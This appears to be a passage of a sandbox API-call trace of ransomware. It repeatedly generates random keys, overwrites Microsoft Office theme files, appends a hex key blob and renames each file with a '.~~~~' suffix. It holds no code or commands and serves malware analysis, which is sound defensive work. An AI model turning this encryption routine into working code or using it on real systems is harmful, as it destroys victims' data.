	[0122.823] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.823] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6d38
	[0122.823] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b62c8 | out: hHeap=0x300000) returned 1
	[0122.823] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0122.823] GetLastError () returned 0x0
	[0122.823] GetLastError () returned 0x0
	[0122.823] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0122.823] GetLastError () returned 0x0
	[0122.823] GetLastError () returned 0x0
	[0122.826] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffff937b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.826] WriteFile (in: hFile=0x13c, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x6c85, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0x6c85, lpOverlapped=0x0) returned 1
	[0122.827] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0122.827] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.827] WriteFile (in: hFile=0x13c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.827] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.828] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.828] CloseHandle (hObject=0x13c) returned 1
	[0122.828] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x2928780
	[0122.828] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx.~~~~")) returned 1
	[0122.829] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2928780 | out: hHeap=0x300000) returned 1
	[0122.829] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0122.829] GetLastError () returned 0x0
	[0122.829] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0122.830] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.830] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.830] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0122.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0122.830] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24282037128) returned 1
	[0122.830] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb2af8f50, dwHighDateTime=0x1d60e1e)) 
	[0122.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0122.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0122.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0122.831] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281f170
	[0122.831] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.831] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281f170 | out: hHeap=0x300000) returned 1
	[0122.831] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.831] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.831] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b62c8
	[0122.831] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.831] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6d38
	[0122.831] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b62c8 | out: hHeap=0x300000) returned 1
	[0122.831] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0122.831] GetLastError () returned 0x0
	[0122.831] GetLastError () returned 0x0
	[0122.831] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0122.831] GetLastError () returned 0x0
	[0122.831] GetLastError () returned 0x0
	[0122.834] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffa374, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.834] WriteFile (in: hFile=0x13c, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x5c8c, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0x5c8c, lpOverlapped=0x0) returned 1
	[0122.835] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0122.835] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.835] WriteFile (in: hFile=0x13c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.835] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.835] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.835] CloseHandle (hObject=0x13c) returned 1
	[0122.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x2928780
	[0122.835] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx.~~~~")) returned 1
	[0122.836] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2928780 | out: hHeap=0x300000) returned 1
	[0122.836] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0122.836] GetLastError () returned 0x0
	[0122.837] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0122.838] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.838] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.838] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0122.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0122.838] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24282789132) returned 1
	[0122.838] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb2af8f50, dwHighDateTime=0x1d60e1e)) 
	[0122.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0122.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0122.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0122.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281f1a8
	[0122.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.838] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281f1a8 | out: hHeap=0x300000) returned 1
	[0122.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.838] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b62c8
	[0122.838] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6d38
	[0122.838] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b62c8 | out: hHeap=0x300000) returned 1
	[0122.838] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0122.839] GetLastError () returned 0x0
	[0122.839] GetLastError () returned 0x0
	[0122.839] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0122.839] GetLastError () returned 0x0
	[0122.839] GetLastError () returned 0x0
	[0122.957] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffff5eb1, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.965] WriteFile (in: hFile=0x13c, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0xa14f, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0xa14f, lpOverlapped=0x0) returned 1
	[0122.967] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0122.967] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.967] WriteFile (in: hFile=0x13c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.967] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.967] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.967] CloseHandle (hObject=0x13c) returned 1
	[0122.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3b99b0
	[0122.968] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx.~~~~")) returned 1
	[0122.969] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b99b0 | out: hHeap=0x300000) returned 1
	[0122.969] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0122.969] GetLastError () returned 0x0
	[0123.127] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x2942f50) returned 1
	[0123.128] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0123.128] CryptReleaseContext (hProv=0x2942f50, dwFlags=0x0) returned 1
	[0123.128] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0123.128] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0123.128] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0123.128] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24311806898) returned 1
	[0123.128] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb2dcc970, dwHighDateTime=0x1d60e1e)) 
	[0123.128] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0123.128] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0123.128] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0123.128] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281f368
	[0123.128] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.128] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281f368 | out: hHeap=0x300000) returned 1
	[0123.128] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.128] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.128] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b7480
	[0123.128] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.129] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0123.129] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7480 | out: hHeap=0x300000) returned 1
	[0123.129] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0123.129] GetLastError () returned 0x0
	[0123.129] GetLastError () returned 0x0
	[0123.129] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0123.129] GetLastError () returned 0x0
	[0123.129] GetLastError () returned 0x0
	[0123.150] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff1e1, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.150] WriteFile (in: hFile=0x120, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0xe1f, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0xe1f, lpOverlapped=0x0) returned 1
	[0123.151] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0123.151] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.151] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.151] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.151] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.152] CloseHandle (hObject=0x120) returned 1
	[0123.152] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x390aa8
	[0123.152] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Civic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\civic.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Civic.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\civic.xml.~~~~")) returned 1
	[0123.156] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x390aa8 | out: hHeap=0x300000) returned 1
	[0123.156] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0123.156] GetLastError () returned 0x0
	[0123.156] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x2942f50) returned 1
	[0123.158] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0123.158] CryptReleaseContext (hProv=0x2942f50, dwFlags=0x0) returned 1
	[0123.158] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0123.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0123.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0123.158] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24314818438) returned 1
	[0123.158] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb2e18c30, dwHighDateTime=0x1d60e1e)) 
	[0123.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0123.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0123.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0123.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281f410
	[0123.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.159] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281f410 | out: hHeap=0x300000) returned 1
	[0123.159] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.159] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.159] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b7138
	[0123.159] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.159] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0123.159] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7138 | out: hHeap=0x300000) returned 1
	[0123.159] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0123.159] GetLastError () returned 0x0
	[0123.159] GetLastError () returned 0x0
	[0123.159] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0123.160] GetLastError () returned 0x0
	[0123.160] GetLastError () returned 0x0
	[0123.162] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff1b8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.162] WriteFile (in: hFile=0x120, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xe48, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x26dfec0*=0xe48, lpOverlapped=0x0) returned 1
	[0123.164] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0123.164] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.164] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.164] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.164] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.164] CloseHandle (hObject=0x120) returned 1
	[0123.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3914b8
	[0123.165] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Elemental.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\elemental.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Elemental.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\elemental.xml.~~~~")) returned 1
	[0123.166] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3914b8 | out: hHeap=0x300000) returned 1
	[0123.166] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0123.166] GetLastError () returned 0x0
	[0123.166] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x2942f50) returned 1
	[0123.168] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0123.168] CryptReleaseContext (hProv=0x2942f50, dwFlags=0x0) returned 1
	[0123.168] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0123.168] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0123.168] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0123.168] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24315815013) returned 1
	[0123.168] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb2e18c30, dwHighDateTime=0x1d60e1e)) 
	[0123.168] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0123.168] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0123.168] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0123.168] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281f448
	[0123.168] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.169] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281f448 | out: hHeap=0x300000) returned 1
